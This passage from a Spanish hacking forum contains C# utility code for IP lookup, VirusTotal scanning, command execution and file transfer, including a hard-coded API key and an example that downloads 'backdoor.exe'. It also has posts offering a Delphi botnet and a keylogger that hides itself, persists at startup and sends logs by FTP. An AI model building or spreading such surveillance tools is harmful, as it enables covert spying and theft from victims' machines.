            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si quieren bajar el programa lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#111
C# - VB.NET / [C#] LocateIP 0.2
Julio 04, 2014, 02:24:46 PM
Un simple programa en C# para localizar una IP , su localizacion y sus DNS.

Una imagen :



El codigo :

Form1.cs

Código: csharp

// LocateIP 0.2
// (C) Doddy Hackman 2014
// Credits :
// To locate IP : http://www.melissadata.com/lookups/iplocation.asp?ipaddress=
// To get DNS : http://www.ip-adress.com/reverse_ip/
// Theme Skin designed by Aeonhack
// Thanks to www.melissadata.com and www.ip-adress.com and Aeonhack

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace locateip
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();

        }

        private void mButton2_Click(object sender, EventArgs e)
        {           
            funciones modulos = new funciones();

            if (textBox1.Text == "")
            {
                MessageBox.Show("Enter the target");
            }
            else
            {

                textBox2.Text = "";
                textBox3.Text = "";
                textBox4.Text = "";
                listBox1.Items.Clear();

                toolStripStatusLabel1.Text = "[+] Getting IP ...";
                this.Refresh();


                string ip = modulos.getip(textBox1.Text);
                if (ip == "Error")
                {
                    MessageBox.Show("Error getting IP ...");
                    toolStripStatusLabel1.Text = "[-] Error getting IP";
                    this.Refresh();
                }
                else
                {
                    textBox1.Text = ip;
                    toolStripStatusLabel1.Text = "[+] Locating ...";
                    this.Refresh();
                    List<String> localizacion = modulos.locateip(ip);
                    if (localizacion[0] == "Error")
                    {
                        MessageBox.Show("Error locating ...");
                        toolStripStatusLabel1.Text = "[-] Error locating";
                        this.Refresh();
                    }
                    else
                    {
                        textBox2.Text = localizacion[0];
                        textBox3.Text = localizacion[1];
                        textBox4.Text = localizacion[2];

                        toolStripStatusLabel1.Text = "[+] Getting DNS ...";
                        this.Refresh();

                        List<String> dns_found = modulos.getdns(ip);
                        if (dns_found[0] == "")
                        {
                            MessageBox.Show("Error getting DNS ...");
                            toolStripStatusLabel1.Text = "[-] Error getting DNS";
                            this.Refresh();
                        }
                        else
                        {

                            foreach (string dns in dns_found)
                            {
                                listBox1.Items.Add(dns);
                            }

                            toolStripStatusLabel1.Text = "[+] Finished";
                            this.Refresh();
                        }

                    }

               
                }

            }
           
        }

        private void mButton1_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }
    }
}

// The End ?


funciones.cs

Código: csharp

// Funciones for LocateIP 0.2
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;

//
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
//

namespace locateip
{
    class funciones
    {
        public string getip(string buscar)
        {

            String code = "";
            String url = "http://whatismyipaddress.com/hostname-ip";
            String par = "DOMAINNAME="+buscar;
            String ip = "";

            HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);

            nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
            nave.Method = "POST";
            nave.ContentType = "application/x-www-form-urlencoded";

            Stream anteantecode = nave.GetRequestStream();

            anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
            anteantecode.Close();

            StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
            code = antecode.ReadToEnd();

            Match regex = Regex.Match(code, "Lookup IP Address: <a href=(.*)>(.*)</a>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                ip = regex.Groups[2].Value;
            }
            else
            {
                ip = "Error";
            }

            return ip;
        }

        public List<String> locateip(string ip)
        {
            string code = "";

            string city = "";
            string country = "";
            string state = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
            code = nave.DownloadString("http://www.melissadata.com/lookups/iplocation.asp?ipaddress=" + ip);

            Match regex = Regex.Match(code, "City</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                city = regex.Groups[2].Value;
            }
            else
            {
                city = "Error";
            }

            regex = Regex.Match(code, "Country</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                country = regex.Groups[2].Value;
            }
            else
            {
                country = "Error";
            }

            regex = Regex.Match(code, "State or Region</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                state = regex.Groups[2].Value;
            }
            else
            {
                state = "Error";
            }

            List<string> respuesta = new List<string> {};
            respuesta.Add(city);
            respuesta.Add(country);
            respuesta.Add(state);
            return respuesta;

        }

        public List<String> getdns(string ip)
        {

            string code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
            code = nave.DownloadString("http://www.ip-adress.com/reverse_ip/" + ip);

            List<string> respuesta = new List<string> {};

            Match regex = Regex.Match(code, "whois/(.*?)\">Whois", RegexOptions.IgnoreCase);

            while (regex.Success)
            {
                respuesta.Add(regex.Groups[1].Value);
                regex = regex.NextMatch();
            }

            return respuesta;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#112
C# - VB.NET / [C#] VirusTotal Scanner 0.1
Junio 27, 2014, 10:42:18 AM
Mi primer programa en C# , un simple scanner del servicio VirusTotal.

Una imagen :



El codigo :

Form1.cs

Código: csharp

// VirusTotal Scanner 0.1
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Text.RegularExpressions;

namespace virustotalscanner
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            openFileDialog1.ShowDialog();
            if (File.Exists(openFileDialog1.FileName))
            {
                textBox1.Text = openFileDialog1.FileName;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {

            DH_Tools tools = new DH_Tools();

            if (File.Exists(textBox1.Text))
            {

                string md5 = tools.md5file(textBox1.Text);

                listView1.Items.Clear();
                richTextBox1.Clear();

                string apikey = "07d6f7d301eb1ca58931a396643b91e4c98f830dcaf52aa646f034c876689064"; // API Key
                toolStripStatusLabel1.Text = "[+] Scanning ...";
                this.Refresh();
               
                string code = tools.tomar("http://www.virustotal.com/vtapi/v2/file/report", "resource=" + md5 + "&apikey=" + apikey);
                code = code.Replace("{\"scans\":", "");

                string anti = "";
                string reanti = "";

                Match regex = Regex.Match(code, "\"(.*?)\": {\"detected\": (.*?), \"version\": (.*?), \"result\": (.*?), \"update\": (.*?)}", RegexOptions.IgnoreCase);

                while (regex.Success)
                {
                    anti = regex.Groups[1].Value;
                    reanti = regex.Groups[4].Value;
                    reanti = reanti.Replace("\"", "");

                    ListViewItem item = new ListViewItem();
                    if (reanti == "null")
                    {
                        item.ForeColor = Color.Cyan;
                        reanti = "Clean";
                    }
                    else
                    {
                        item.ForeColor = Color.Red;
                    }

                    item.Text = anti;
                    item.SubItems.Add(reanti);

                    listView1.Items.Add(item);

                    regex = regex.NextMatch();
                }

                regex = Regex.Match(code, "\"scan_id\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Scan_ID : " + regex.Groups[1].Value + Environment.NewLine);
                }
                else
                {
                    MessageBox.Show("Not Found");
                }

                regex = Regex.Match(code, "\"scan_date\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Scan_Date : " + regex.Groups[1].Value + Environment.NewLine);
                }

                regex = Regex.Match(code, "\"permalink\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] PermaLink : " + regex.Groups[1].Value + Environment.NewLine);
                }

                regex = Regex.Match(code, "\"verbose_msg\": \"(.*?)\", \"total\": (.*?), \"positives\": (.*?),", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Founds : " + regex.Groups[3].Value + "/" + regex.Groups[2].Value + Environment.NewLine);
                }

                toolStripStatusLabel1.Text = "[+] Finished";
                this.Refresh();


            }
            else
            {
                MessageBox.Show("File not found");
            }
           

        }
    }
}

// The End ?


DH_Tools.cs

Código: csharp

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace virustotalscanner
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string respondecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#113
C# - VB.NET / [C#] Clase DH Tools
Junio 20, 2014, 11:04:49 AM
Mi primer clase que hice practicando en C#

Con las siguientes funciones :

  • Realizar peticiones GET & POST
  • Ver el numero de HTTP Status en una pagina
  • HTTP FingerPrinting
  • Leer un archivo
  • Escribir o crear un archivo
  • Ver el sistema operativo actual
  • Elimina duplicados en una lista
  • Corta URLS en una lista
  • Descargar y subir archivos
  • Ver el nombre del archivo en una ruta
  • Ejecutar comandos
  • URI Split
  • MD5 Hash Generator
  • Ver el MD5 de un archivo
  • Ver la IP de un hostname

    El codigo de la clase :

    Código: csharp

    // Class Name : DH Tools
    // Version : Beta
    // Author : Doddy Hackman
    // (C) Doddy Hackman 2014
    //
    // Functions :
    //
    // [+] HTTP Methods GET & POST
    // [+] Get HTTP Status code number
    // [+] HTTP FingerPrinting
    // [+] Read File
    // [+] Write File
    // [+] GET OS
    // [+] Remove duplicates from a List
    // [+] Cut urls from a List
    // [+] Download
    // [+] Upload
    // [+] Get Basename from a path
    // [+] Execute commands
    // [+] URI Split
    // [+] MD5 Hash Generator
    // [+] Get MD5 of file
    // [+] Get IP address from host name
    //
    // Credits :
    //
    // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
    // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
    // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
    // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
    // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
    // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
    // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
    //
    // Thanks to : $DoC and atheros14 (Forum indetectables)
    //

    using System;
    using System.Collections.Generic;
    using System.Text;

    using System.Net;
    using System.IO;
    using System.Text.RegularExpressions;
    using System.Security.Cryptography;

    namespace clasewebtools
    {
        class DH_Tools
        {
            public string toma(string url)
            {
                string code = "";

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    code = nave.DownloadString(url);
                }
                catch
                {
                    //
                }
                return code;
            }

            public string tomar(string url, string par)
            {

                string code = "";

                try
                {

                    HttpWebRequest nave = (HttpWebRequest)
                    WebRequest.Create(url);

                    nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.Method = "POST";
                    nave.ContentType = "application/x-www-form-urlencoded";

                    Stream anteantecode = nave.GetRequestStream();

                    anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                    anteantecode.Close();

                    StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                    code = antecode.ReadToEnd();

                }
                catch
                {
                    //
                }

                return code;

            }

            public string respondecode(string url)
            {
                String code = "";
                try
                {
                    HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                    nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                    int number = (int)num.StatusCode;
                    code = Convert.ToString(number);

                }
                catch
                {

                    code = "404";

                }
                return code;
            }

            public string httpfinger(string url)
            {

                String code = "";

                try
                {

                    HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                    HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                    for (int num = 0; num < nave2.Headers.Count; ++num)
                    {
                        code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                    }

                    nave2.Close();
                }
                catch
                {
                    //
                }

                return code;

            }

            public string openword(string file)
            {
                String code = "";
                try
                {
                    code = System.IO.File.ReadAllText(file);
                }
                catch
                {
                    //
                }
                return code;
            }

            public void savefile(string file,string texto) {

                try {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
                }
                catch {
                    //
                }
            }

            public string getos()
            {
                string code = "";

                try
                {
                    System.OperatingSystem os = System.Environment.OSVersion;
                    code = Convert.ToString(os);
                }
                catch
                {
                    code = "?";
                }

                return code;
            }

            public List<string> repes(List<string> array)
            {
                List<string> repe = new List<string>();
                foreach (string lin in array)
                {
                    if (!repe.Contains(lin))
                    {
                        repe.Add(lin);
                    }
                }

                return repe;

            }

            public List<string> cortar(List<string> otroarray)
            {
                List<string> cort = new List<string>();

                foreach (string row in otroarray)
                {

                    String lineafinal = "";

                    Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                        cort.Add(lineafinal);
                    }

                }

                return cort;
            }

            public string download(string url,string savename)
            {

                String code = "";

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

                try
                {
                    nave.DownloadFile(url, savename);
                    code = "OK";
                }
                catch
                {
                    code = "Error";
                }

                return code;
            }

            public string upload(string link,string archivo)
            {

                String code = "";

                try
                {

                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    byte[] codedos = nave.UploadFile(link, "POST", archivo);
                    code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

                }

                catch
                {
                    code = "Error";
                }

                return code;
               
            }

            public string basename(string file)
            {
                String nombre = "";

                FileInfo basename = new FileInfo(file);
                nombre = basename.Name;

                return nombre;

            }

            public string console(string cmd)
            {

                string code = "";

                try
                {

                    System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                    loadnow.RedirectStandardOutput = true;
                    loadnow.UseShellExecute = false;
                    loadnow.CreateNoWindow = true;
                    System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                    loadnownow.StartInfo = loadnow;
                    loadnownow.Start();
                    code = loadnownow.StandardOutput.ReadToEnd();

                }

                catch
                {
                    code = "Error";
                }

                return code;

            }

            public string urisplit(string url,string opcion)
            {

                string code = "";

                Uri dividir = new Uri(url);

                if (opcion == "host")
                {
                    code = dividir.Host;
                }

                if (opcion == "port")
                {
                    code = Convert.ToString(dividir.Port);
                }

                if (opcion == "path")
                {
                    code = dividir.LocalPath;
                }

                if (opcion == "file")
                {
                    code = dividir.AbsolutePath;
                    FileInfo basename = new FileInfo(code);
                    code = basename.Name;
                }

                if (opcion == "query")
                {
                    code = dividir.Query;
                }

                if (opcion == "")
                {
                    code = "Error";
                }

                return code;
            }

            public string convertir_md5(string text)
            {
                MD5 convertirmd5 = MD5.Create();
                byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
                StringBuilder guardar = new StringBuilder();
                for (int numnow = 0; numnow < infovalor.Length; numnow++)
                {
                    guardar.Append(infovalor[numnow].ToString("x2"));
                }
                return guardar.ToString();
            }

            public string md5file(string file)
            {

                string code = "";

                try
                {
                    var gen = MD5.Create();
                    var ar = File.OpenRead(file);
                    code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
                   
                }
                catch
                {
                    code = "Error";
                }

                return code;
            }

            public string getip(string host)
            {
                string code = "";
                try
                {
                    IPAddress[] find = Dns.GetHostAddresses(host);
                    code = find[0].ToString();
                }
                catch
                {
                    code = "Error";
                }
                return code;
            }
       
        }
    }

    // The End ?


    Con los siguientes ejemplos de uso :

    Código: csharp

    namespace clasewebtools
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            private void button1_Click(object sender, EventArgs e)
            {

                // Examples

                DH_Tools tools = new DH_Tools();

                // The GET Method
                //string code = tools.toma("http://www.petardas.com/index.php");

                // The POST Method
                //string code = tools.tomar("http://localhost/pos.php", "probar=test&yeah=dos&control=Now");

                // HTTP Status code number
                //string code = tools.respondecode("http://www.petardas.com/index.php");

                // HTTP FingerPrinting
                //string code = tools.httpfinger("http://www.petardas.com/index.php");

                // Read File
                //string code = tools.openword("C:/test.txt");

                // Write File
                //tools.savefile("test.txt","yeah");

                // GET OS
                //string code = tools.getos();

                /* Remove duplicates from a List
               
                List<string> arrays = new List<string> { "test", "test", "test", "bye", "bye" };

                List<string> limpio = tools.repes(arrays);

                foreach (string text in limpio)
                {
                    richTextBox1.AppendText(text + Environment.NewLine);
                }
               
                */

                /* Cut urls from a List
               
                List<string> lista = new List<string> { "http://localhost1/sql.php?id=adsasdsadsa", "http://localhost2/sql.php?id=adsasdsadsa",
                "http://localhost3/sql.php?id=adsasdsadsa"};

                List<string> cortar = tools.cortar(lista);
                               
                foreach (string test in cortar)
                {
                    richTextBox1.AppendText(test + Environment.NewLine);
                }
               
                */

                // Download File
                //string code = tools.download("http://localhost/backdoor.exe", "backdoor.exe");

                // Upload File
                //string code = tools.upload("http://localhost/uploads/upload.php", "c:/test.txt");

                // Get Basename from a path
                //string code = tools.basename("c:/dsaaads/test.txt");

                // Execute commands
                //string code = tools.console("net user");

                // URI Split
                // Options : host,port,path,file,query
                //string code = tools.urisplit("http://localhost/dsadsadsa/sql.php?id=dsadasd","host");

                // MD5 Hash Generator
                //string code = convertir_md5("123");

                // Get MD5 of file
                //string code = tools.md5file("c:/test.txt");

                // Get IP address from host name
                //string code = tools.getip("www.petardas.com");

            }
        }
    }
#114
Delphi / [Delphi] DH Botnet 0.8
Junio 13, 2014, 05:16:59 PM
Version final de esta botnet con las siguientes opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

    Unas imagenes :





    Un video con un ejemplo de uso :



    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#115
Delphi / [Delphi] DH KeyCagator 1.0
Junio 10, 2014, 12:09:30 PM
Version final de este keylogger con las siguientes opciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Una imagen :



    Un video con un ejemplo de uso :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    El codigo :

    El Generador :

    Código: delphi

    // DH KeyCagator 1.0
    // (C) Doddy Hackman 2014
    // Keylogger Generator
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to Chokstyle

    unit dhkey;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg,
      Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
      IdFTP, ShellApi, MadRes;

    type
      TForm1 = class(TForm)
        Image1: TImage;
        StatusBar1: TStatusBar;
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        GroupBox1: TGroupBox;
        GroupBox2: TGroupBox;
        RadioButton1: TRadioButton;
        RadioButton2: TRadioButton;
        ComboBox1: TComboBox;
        Edit2: TEdit;
        GroupBox3: TGroupBox;
        TabSheet2: TTabSheet;
        Edit1: TEdit;
        GroupBox4: TGroupBox;
        CheckBox1: TCheckBox;
        Edit3: TEdit;
        Label1: TLabel;
        TabSheet3: TTabSheet;
        GroupBox5: TGroupBox;
        GroupBox6: TGroupBox;
        CheckBox2: TCheckBox;
        Edit4: TEdit;
        Label2: TLabel;
        GroupBox7: TGroupBox;
        Label3: TLabel;
        Edit5: TEdit;
        Label4: TLabel;
        Edit7: TEdit;
        Label5: TLabel;
        Edit8: TEdit;
        Label6: TLabel;
        Edit6: TEdit;
        TabSheet4: TTabSheet;
        GroupBox8: TGroupBox;
        GroupBox9: TGroupBox;
        Label7: TLabel;
        Edit9: TEdit;
        Label8: TLabel;
        Edit11: TEdit;
        Label9: TLabel;
